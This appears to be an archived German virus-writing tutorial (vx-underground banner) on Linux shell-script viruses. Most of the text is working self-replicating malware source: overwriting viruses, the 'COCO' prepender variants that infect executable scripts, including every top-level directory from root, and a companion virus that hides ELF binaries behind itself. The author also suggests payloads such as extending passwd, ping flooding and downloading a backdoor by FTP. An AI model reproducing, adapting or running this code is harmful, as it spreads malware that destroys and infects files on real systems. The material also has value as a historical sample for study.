,, MMP""MM""YMM `7MM P' MM `7 MM MM MMpMMMb. .gP"Ya MM MM MM ,M' Yb MM MM MM 8M"""""" MM MM MM YM. , .JMML. .JMML JMML.`Mbmmd' `7MMF' `7MF' `7MMF' `7MMF' `MA ,V MM MM VM: ,V `7M' `MF' MM MM .gP"Ya ,6"Yb.`7M' `MF'.gP"Ya `7MMpMMMb. MM. M' `VA ,V' MMmmmmmmMM ,M' Yb 8) MM VA ,V ,M' Yb MM MM `MM A' XMX MM MM 8M"""""" ,pm9MM VA ,V 8M"""""" MM MM :MM; ,V' VA. MM MM YM. , 8M MM VVV YM. , MM MM VF .AM. .MA..JMML. .JMML.`Mbmmd' `Moo9^Yo. W `Mbmmd'.JMML JMML. ,, ,, ,, .g8"""bgd `7MM `7MM mm db .dP' `M MM MM MM dM' ` ,pW"Wq. MM MM .gP"Ya ,p6"bo mmMMmm `7MM ,pW"Wq.`7MMpMMMb. MM 6W' `Wb MM MM ,M' Yb 6M' OO MM MM 6W' `Wb MM MM MM. 8M M8 MM MM 8M"""""" 8M MM MM 8M M8 MM MM `Mb. ,'YA. ,A9 MM MM YM. , YM. , MM MM YA. ,A9 MM MM `"bmmmd' `Ybmd9'.JMML..JMML.`Mbmmd' YMbmd' `Mbmo.JMML.`Ybmd9'.JMML JMML. -- Contact -- https://twitter.com/vxunderground vxug@null.net

Immer wieder hört man von Linux Fanatikern, das es keine Linux Viren gibt. Nach einer längeren Diskussion, sehen diese dann meistens ein, das es welche gibt, nur das diese sich schwerer verbreiten können, das Linux die Zugriffsrechte und ähnliches auf Dateien strenger behandelt als Dos oder Windows 9x ( welche Zugriffsrechte *g* ). Zwar gibt es auch ELF Viren, die Exploits mit sich schleppen um Root Status zu bekommen, aber hier werde ich erstmal auf ganz einfache, Viren für Linux eingehen, die durchaus in der Lage sind sich effektiv zu verbreiten. Meiner Ansicht nach, werden Viren für Linux ein ähnliches Problem werden wie für Dos / Windows, da sich auch hier der Kommerz und mit ihm die Dau's breitmachen. Wo es Dau's gibt, gibt es schlecht konfigurierte Systeme und wo es die gibt, bleibt immer Platz für einen Virus. Ein weiterer Grund, warum ich auf Shell Script Viren eingehe und nicht auf ELF Infektoren, ist, das sie neben ihrer Einfachheit auch zu den meisten Unix'en kompatibel sein dürften, da die BASH eine der am häufigsten genutzten Shells ist. ( Inwiefern Bash Shellscript zu einer C oder sonstigen Shell kompatibel ist, weiß ich allerdings nicht.. ) Shell Scripte lassen sich mit den Batch Dateien von Dos oder den VB Script Dateien unter Windows vergleichen. Sie erlauben das Ausführen von Routinetätigkeiten durch Programme, die vom Betriebssystem ( oder eben der Shell ) interpretiert werden. Im Gegensatz zu Dos trifft man unter Linux relativ häufig auf Shell Scripte. Shell Scripte sind zum Beispiel : /etc/profile, /etc/csh.cshrc, Dateien in /etc/rc.d Dateien zum Konfigurieren der Firewall, etc, ... Für die die sich nicht mit Linux auskennen : mit 'vi' kann man wunderbar Textdateien editieren ( glaubt keinem, der meint emacs oder joe wären besser *g* ) und mit 'chmod <Datei> +rwxrwxrwx' gibt man allen Gruppen Lese, Schreib und Ausführungs-Rechte für eine Datei. Über den Dateinamen kann man nun die Datei starten. (eventuell noch ein ./ vor den Dateinamen hängen)

Dies gibt einem Shell Script Virus eine breite Bandbreite an möglichen Opfern. Sehen wir uns doch einmal die simpelste Form eines Shell Script Viruses an:

  #Overwritter I
  for file in *
   do
    cp $0 $file
   done

Dieses nur paar Zeilen lange Shell Script kopiert sich selber über alle Dateien, die es findet. Natürlich bringt so etwas eine Menge Datenverlust mit sich und dürfte relativ schnell auffallen, also müssen wir das Ganze geschickter anstellen:

  #Overwritter II
  for file in *
   do
    if test -f $file
    then
     if test -x $file
     then
      if test -w $file
      then
       if grep -s echo $file >.mmm
       then
       cp $0 $file
  fi; fi; fi; fi; fi
  done
  rm .mmm -f

Hier machen wir ein paar extra Tests, bezüglich der Datei, die der Virus überschreibt. Zuerst testen wir ob es eine Datei ist, dann ob sie ausführbar ist und danach wird geprüft ob wir Schreibzugriff haben. Sind alle diese Kriterien erfüllt, dann durchsuchen wir die Datei nach dem echo Befehl. Ist dieser enthalten, können wir sicher sein, das wir eine Shell Script Datei infizieren. (Da dadurch leider viele Shell Scripte übergangen werden, kann man das eventuell auch über den "file" Befehl regeln : if file $file | grep -s 'Bourne shell script' > /dev/nul ; then ). Da nach dem Überschreiben eine solches Script nicht mehr die Funktion erfüllt, für die es vorgesehen war, sollten wir uns etwas anderes ausdenken, um unseren Virus in die Datei zu pflanzen. Der folgende Code ist ein Prepender, den ich vor ca. 2 Jahren geschrieben habe um zu sehen ob so etwas machbar ist.

 # COCO
 head -n 24 $0 > .test
  for file in *
  do
   if test -f $file
   then
       if test -x $file
       then
            if test -w $file
            then
              if grep -s echo $file >.mmm
              then
                head -n 1 $file >.mm
                if grep -s COCO .mm >.mmm
                then
                rm .mm -f
                else
                 cat $file > .SAVEE
                 cat .test > $file
                 cat .SAVEE >> $file
   fi; fi; fi; fi; fi
 done
 rm .test .SAVEE .mmm .mm -f

Das # COCO dient dazu, das der Virus erkennt, ob eine Datei bereits infiziert ist. (if grep -s COCO .mm >.mmm überprüft dies ). Danach wieder die bereits bekannten Tests, ob die Datei ein potentielles Opfer ist. Ist die Datei nicht infiziert, dann kopieren wir sie in eine zweite, versteckte Datei (.SAVEE). Nun ersetzen wir die Zieldatei mit den ersten 24 Zeilen unserer Shell Script Datei, die wir vorher in .test gespeichert haben. ( Die ersten 24 Zeilen sind genau unser Virus) Nun hängen wir noch die Originaldatei an (cat .SAVEE >> $file ) und die Infektion ist kompeltt. Nun räumen wir noch alle Dateien auf, die wir während der Infektion erstellt haben. Nun können wir den Virus auch noch in zweierlei Hinsicht optimieren. Zum Einen in der Anzahl der Zeilen, zum Anderen in der Anzahl der verwendeten Dateien. (So oder so ähnlich sah die optimierte Version COCO 2 aus, die Anthraxx mal verbesserte, ich habe die Version von ihm leider nicht mehr)

 # COCO ( 2 ? )
 for file in * ;  do
   if test -f $file && test -x $file && test -w $file ; then
    if grep -s echo $file > /dev/nul ; then
     head -n 1 $file >.mm
      if grep -s COCO .mm > /dev/nul ; then
       rm .mm -f ; else
        cat $file > .SAVEE
        head -n 13 $0 > $file
        cat .SAVEE >> $file
  fi; fi; fi
 done
 rm .SAVEE .mm -f

Hier brauchen wir nur noch 2 Dateien und 13 Zeilen Code. Natürlich könnte man durch zusammenlegen mehrerer Zeilen das Ganze in eine quetschen, aber dann ist der Code total unlesbar und deshalb werde ich hier darauf verzichten.

Was brauch ein Virus noch, damit er effektiv ist ? Er sollte nicht nur das momentane Verzeichnis infizieren, sondern auch andere. Man kann zum Beispiel in allen Verzeichnissen, die direkt über dem Root Verzeichnis liegen, nach Shell Scripten suchen ( etc, bin, sbin.. ) In diesem Beispiel speichern wir zuerst das aktuelle Verzeichnis, das in der Variable $pwd festgehalten wird. Danach suchen wir vom Root Verzeichnis aus, alle Verzeichnisse. Nun wechseln wir in das entsprechende Verzeichnis, infizieren alle Shell Scripte und wechseln wieder zum Root Verzeichnis. Am Ende stellen wir wieder das Originalverzeichnis her und räumen auf.

 # COCO 3
 xtemp=$pwd
 head -n 22 $0 > /.test
 for dir in /* ; do
  if test -d $dir ; then
   cd $dir
   for file in * ; do
    if test -f $file && test -x $file && test -w $file ; then
     if grep -s echo $file > /dev/nul ; then
       head -n 1 $file > .mm
       if grep -s COCO .mm > /dev/nul ; then
        rm .mm -f ; else
         cat $file > /.SAVEE
         cat /.test > $file
         cat /.SAVEE >> $file
    fi; fi; fi
   done
   cd ..
  fi
 done
 cd $xtemp
 rm /.test /.SAVEE .mm -f

An sich schonmal nicht schlecht für so etwas simples wie ein Shell Script, oder? Natürlich könnte man nun anfangen gezielt nach Verzeichnissen suchen, einen Payload einzubauen ( Message, passwd erweitern *g*, Dauerping auf irgendeinen Rechner starten, per FTP eine Backdoor runterladen und starten, etc... ), aber hier will ich es dabei belassen. Was mit Sicherheit auch möglich ist, ist den Virus über Mail an andere Rechner zu schicken ( Sendmail und Co kann man wohl auch über Kommandozeile starten ) aber solange die Mehrheit Windows benutzt, wird dies wohl nicht sehr effektiv sein. Um die Sache rund zu machen, hier noch ein Compagnion Virus:

 # Compagnion
 for file in * ;  do
   if test -f $file && test -x $file && test -w $file ; then
    if file $file | grep -s 'ELF' > /dev/nul ; then
     mv $file .$file
     head -n 9 $0 > $file
  fi; fi
 done
 .$0